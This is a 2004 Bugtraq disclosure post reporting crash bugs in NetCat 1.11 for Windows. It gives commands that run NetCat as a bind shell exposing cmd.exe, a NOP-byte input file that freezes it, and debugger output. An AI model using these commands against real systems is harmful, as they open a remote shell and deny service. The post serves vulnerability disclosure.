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Message-ID: <20041230153643.5577.qmail@www.securityfocus.com> Date: 30 Dec 2004 15:36:43 -0000 From: CorryL <corryl80@...il.com> To: bugtraq@...urityfocus.com Subject: NetCat V 1.11 Multiple Bugs Hello the nc V1.11 is bugged execute nc -p 777 -L -e cmd.exe create te file prova.txt and insert \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 execute nc 127.0.0.1 777 < prova.txt Enjoy 0012FC18 00340D98 ASCII "cmd.exe" 0012FC1C 00000000 0012FC20 77F3372D RETURN to ntdll.77F3372D 0012FC24 77E21BFA RETURN to kernel32.77E21BFA from ntdll.ZwWaitForMultipleObjects 0012FC28 00000003 0012FC2C 0012FC6C 0012FC30 00000001 0012FC34 00000000 0012FC38 00000000 0012FC3C 77E2AF20 kernel32.CreateThread 0012FC40 00340C90 0012FC44 00000000 0012FC48 00000024 0012FC4C 00000001 0012FC50 00000000 77F3372D C2 1400 RETN 14 77F33730 90 NOP 77F33731 90 NOP 77F33732 90 NOP 77F33733 90 NOP 77F33734 90 NOP 77F33735 > B8 19010000 MOV EAX,119 77F3373A BA 0003FE7F MOV EDX,7FFE0300 77F3373F FFD2 CALL EDX 77F33741 C2 0C00 RETN 0C 77F33744 90 NOP 77F33745 90 NOP 77F33746 90 NOP 77F33747 90 NOP 77F33748 90 NOP 77F33749 > B8 1A010000 MOV EAX,11A 77F3374E BA 0003FE7F MOV EDX,7FFE0300 77F33753 FFD2 CALL EDX 77F33755 C2 0400 RETN 4 77F33758 90 NOP 77F33759 90 NOP 77F3375A 90 NOP 77F3375B 90 NOP 77F3375C 90 NOP 77F3375D > B8 1B010000 MOV EAX,11B 77F33762 BA 0003FE7F MOV EDX,7FFE0300 77F33767 FFD2 CALL EDX 77F33769 C2 0400 RETN 4 77F3376C 90 NOP 77F3376D 90 NOP 77F3376E 90 NOP 77F3376F 90 NOP 77F33770 90 NOP 77F33771 > B8 1C010000 MOV EAX,11C 77F33776 BA 0003FE7F MOV EDX,7FFE0300 77F3377B FFD2 CALL EDX 77F3377D C2 2400 RETN 24 the nc is blocked another bug nc -l -vv -p 4000 nc 127.0.0.1 4000 < nc.exe the NetCat is Freezer By CorryL Admin www.x0n3-h4ck.tk Italian Security Team
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